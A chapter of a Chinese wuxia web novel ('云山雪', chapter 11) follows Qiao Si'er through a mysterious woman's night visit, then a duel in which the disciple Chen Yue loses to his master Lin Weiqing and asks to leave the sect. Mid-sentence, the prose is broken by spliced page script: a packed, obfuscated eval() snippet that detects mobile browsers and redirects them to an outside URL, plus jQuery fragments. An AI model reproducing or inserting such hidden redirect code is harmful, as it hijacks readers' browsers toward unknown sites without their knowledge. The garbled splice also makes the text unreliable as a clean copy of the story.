11. 无可奈何花落去·十一
作品:《云山雪》 乔四儿被那梦中的烫意灼得半醒,朦朦胧胧间,却觉掌心间竟真有一股灼热霸道的内息正被缓缓注入,若滚油沸水般,在她四肢经脉间不断翻涌。
她吓坏了,一个激灵睁开了眼——
她的床侧坐着一个陌生女子,正抵着她的掌心向她体内灌入内劲。
她从未见过这样眼角发梢尽是艳丽媚态,动静之间皆是万种风情的女子——眼带桃花秋水,眉若新月浅勾,肌肤瓷白胜雪,朱唇娇润欲滴。纵是月色朦胧,也难掩住她眸中的辉光半分。既圣洁又魅惑,一眼望去,是神也好,是魔也罢,只觉心颤神摇,徒生出一股想要臣服心折之感。
乔四儿一时竟看得呆了,越看却越觉疑惑——
她分明从未见过这个女子,为何会觉得莫名熟悉?
啊——!
心头咚得一声,乔四儿猛然反应过来。
虽然她未曾见过,也不可能见过……但她几乎能肯定,眼前这张脸,活脱脱便是梦中那个灵动娇俏的少女钟滟,成人后长开的模样!
见她醒了,那女子惑然一笑,懒洋洋地伸出素指,往她唇上轻轻一点,乔四儿便似被卡了脖子的鸭子,再也发不出半点声响。
有幽微香味传来,似暗夜中绽开的冰冷玫瑰,是那女子低身凑近了她耳畔。手上极温柔地摩挲过她的脸蛋,声线却带着透骨的寒:“若想死得快一些,便尽管乱动吧。”
乔四儿屏住呼吸,感受到猩红冰凉的长甲划过脖颈的痛意,一动也不敢动。
大约一刻后,掌心那股注入肺腑的霸道内劲逐渐停息了。奇异的是,她的身体却并未感到有任何不适,反而浑身热热的,像是泡了个热水澡般肝胆开张的舒快。
瞧着她呆若木鸡的样子,神秘女子却是噗嗤一笑,语带微嘲:“还是这样傻……林维清也真是个人才,这么多年,口味竟是一丝不变。”
乔四儿眉头一蹙,不满她言及师父时那轻佻鄙夷的语气。未及开口,那神秘女子却拢了她耳畔睡乱的软发,低头在她耳畔娇嗔道:“快睡吧,待到明日,姐姐送你个惊喜好不好?”
也不知她用了什么手段,乔四儿忽觉眼前一白,还未及反应,人便又直直地昏软过去。
待再次睁开眼,日光已然高斜。
“弟子已参破了五重之境,敢请师父赐教!”
窗外遥遥传来沉樾的一声清啸,以内力传音,整个玄晖峰都充耳可闻。
乔四儿悚然一惊,这才想起该是早课的时辰了。慌忙从床上跳了起来,匆匆披上衣衫便往外跑,边跑边纳闷——
以大师兄那般的勤勉努力,尚还差着浑天五重境界一步迟迟未破。沉樾这臭小子,怎么思个过还能思得武功突飞猛进了呢?
断潮崖前,沉樾持剑而立,背影飒踏似一杆风中劲竹。
许是刚出禁闭,少年身上未着云山宗统一制式的道袍,而是穿着一袭平日里外出所用的蓝衫。
乔四儿匆忙跑到时,沉玉早已先她一步而至,素日里温润如玉的脸上却失再无半分温柔笑意,只余一副凝霜沉重。
乔四儿以为他是功力落于人后,心情不好,刚想安慰,却听一阵风声轻拂,是林维清到了。
几日未见,师父依旧是一袭素白道袍,面上一片如霜似雪的平静,仿佛一泓幽潭,难辨深浅。
——不管多少次,每当她再次见到林维清时,心头总会克制不住地颤上一颤。也不知是不是知晓了他旧疾未愈的缘故,这次再见到那清俊冷淡的眉眼时,她总觉得较上次见,师父的面色似是更苍白虚弱了些。
“请师父指教!”
不等林维清开口,沉樾便飞身一剑,携长虹贯日之势,向他刺去。
剑光似水银般划过乔四儿的眼,她忍不住低呼一声——沉樾竟未用平日他们练习所用的竹剑,而是直接用了他的佩剑横霜!
林维清并未佩剑,却见他衣袖似是随意一拂,便轻易地化去了那道凌厉的剑光。
两人身影似电,转瞬间便凌空过了数十招。少年剑来如雷霆万钧,去若清波千里,招招若龙翔凤怒疾影重叠。乔四儿目接不暇,很快便看花了眼,只闻山谷间阵阵剑气击空的清鸣。
林维清右手负于身后,只以单手应战,只守不攻。
乔四儿甚至分辨不清他究竟是如何出手的。只是任沉樾攻势如何凶猛迅疾,总能被他以看似寻常的招式稳稳接下。他的每招每式都仿佛融汇了整个天地间的韵律,一番连消带打间,往往不知为何,沉樾那道道看似致命锐不可当的剑意,在近到他周身三寸间便瞬间绵软失势,仿佛泥牛入海,杳无音信。
转眼两人已过百招,沉樾却连林维清的衣袖都未碰到半分。
少年杀红了眼,猛然收剑入鞘,决绝地将十成真气全力惯于手腕,竟是要使出他在断潮崖边苦练多年劈山碎石的凌厉一剑——玉石俱焚。
此招杀伤力极强,但用后破绽也极大,取玉石俱焚之意,不是你死,便是我亡。
林维清眉心微蹙,随手折下身旁的一枝松枝为剑——
“锵——”
金石相击之声清越,久久回荡在断潮崖间,无法停歇。
被两人内力激荡而起的水雾烟尘缓缓散去,只见少年单膝半跪在师父身前,浑身汗如雨下,发髻散乱,狼狈喘息不止。长剑横霜也脱了手,远远地坠在了崖边一角。
而林维清一身白衣纹丝未乱,就连手中那枝青翠欲滴的松枝……也不过只落去了一小角松针。
“樾儿,为师早与你说过,修炼浑天诀最忌心急。”林维清目现痛惜,声色严厉:“你一味求速求快,如今虽侥幸破了五重,但根基却大不如从前稳固,往后越走,只会愈发艰难。你已苦修多年,何必为了一时之快埋下无穷后患?!”
少年却只在原地维持着跪姿,埋着头久久都未言语。
林维清眼中的薄怒缓缓散去,看了会儿素来倔强的弟子,终是轻叹一声,转身自崖边将横霜剑拾回归鞘,递向沉樾,浅声劝道:“为师知道你对昔年之事仍有介怀,但你既要往后走,便要听师父的话,师父不会害你。”
“师父……”
沉樾低着头沉默了许久,方才一字一句,低沉晦涩,似从嗓子里碾磨而出,哽咽到牙根都在打着颤:“若弟子说……弟子不想往后走了呢?”
“你……”林维清眉心狠狠一颤,面色比来时霜意更重。
他动了动唇,仿佛话就在唇边,却迟迟逡巡,终究是没有出口。
“师父。”少年咬着牙,缓缓吐出一口气后,似是决定了什么,便背脊一挺,改为双膝触地的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626716|172401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
端正跪姿,郑重道:“师父当年不过十九便已突破了浑天五重。可弟子愚钝,浪荡二十五载,方才勉强触及。弟子自知禀赋不如,若是留在云山宗继续修习,这一生一世都绝无可能超过师父……如今弟子既已修满浑天五重,到了可以出师的时候,还请师父允准弟子下山,另寻破解之法。”
林维清摇头:“你的天资已属万里挑一,只是性子一直浮躁。只要你肯沉下心来,按为师所传踏实勤练,有朝一日,未必不能超越为师。”
他的语气依然清浅平静,不知为何,乔四儿却听出了一分淡淡的苦涩。
“万里挑一……”沉樾唇角勾出一丝自嘲:“这世上不知有多少万人,却从来只有一个林维清……师父若不是为旧伤所累,早便能突破九重,功成圆满了,弟子凭何敢望师父项背?弟子心意已决,只求师父允准!”
林维清定定地望了他许久。
沉樾的目光却坚定而清澈,没有分毫妒恨不甘,只有一片坦荡的遗憾与决绝。
半晌,终是林维清闭了闭眼,低声应道:“也罢,我知你痴好剑道。待我修书一封,与华阳门段庄主。白虹剑法举世无双,他也并非囿于门第之见之人,定会对你倾囊相授。”
“多谢师父,只是不必了。”沉樾眸现轻蔑,纵是跪姿也掩不住身上的傲然神采:“华阳门的精英早在昔年八岭山一役中断绝了,如今段越天不过强借着昔日荣光,苟延残喘罢了。弟子不愿改投他人门下,能作弟子师父的,永远只有您一人。”
林维清敛眸顿了片刻,方浅声道:“你既已决心出师。离了云山,便再也无缘遥仙峰的石碑禁林。如今你既已破了五重,我便带你最后走一趟。我知你过目不忘,往后的几重心法,能参透多少,便看你的缘分了。”
遥仙峰石碑禁林乃是浑天诀后几重心法所在,每块石碑皆由当年的开山祖师当云子亲手所刻。碑林中四处都是机关迷阵,未到境界之人若是无人相领,绝无可能破阵一观更上层的心决。
为防弟子好高骛远,云山门规并不允准做师父的私自带未破境的弟子入内参悟高层心法。以林维清的性子,若是带他去看了后几重心决,必会自去戒心堂领罚……
沉樾孤竹般的背脊微微一颤,袖底十指狠狠嵌进掌心,借着那痛意梗道:“不必,浑天诀……我已弃了,后面几重心法看了也是无用,徒增心魔罢了。”
林维清被气得一笑,广袖一振,指间方才应战间折下的那截松枝便似削金断玉的利器般深深地插入了远处的绝壁间:“既不愿改投良师,也不愿自续证道,你还想开山立派不成?”
“我没有那么远大的理想……”沉樾哀惋一笑,反是扬眉道:“只是世上证道方法千万种,并非只有云山与华阳,此路既行不通,我便换过一种。请师父给弟子十年时间,只需十年……弟子定能胜过师父!”
“这世上哪里有捷径?”林维清蹙眉,语气带了份凛然,叱道:“你不肯走正途,难道是要转投魔教么?”
沉樾目光微闪,却很快被激越之色占据,咬牙道:“她在哪里,我便在哪里!”
林维清目光剧震,面色比初来之时更显苍白若霜。
他立在那方孑然天地间,负在身后的指尖微微蜷曲,似想抓住什么,却又只能徒劳无力地渐渐放开。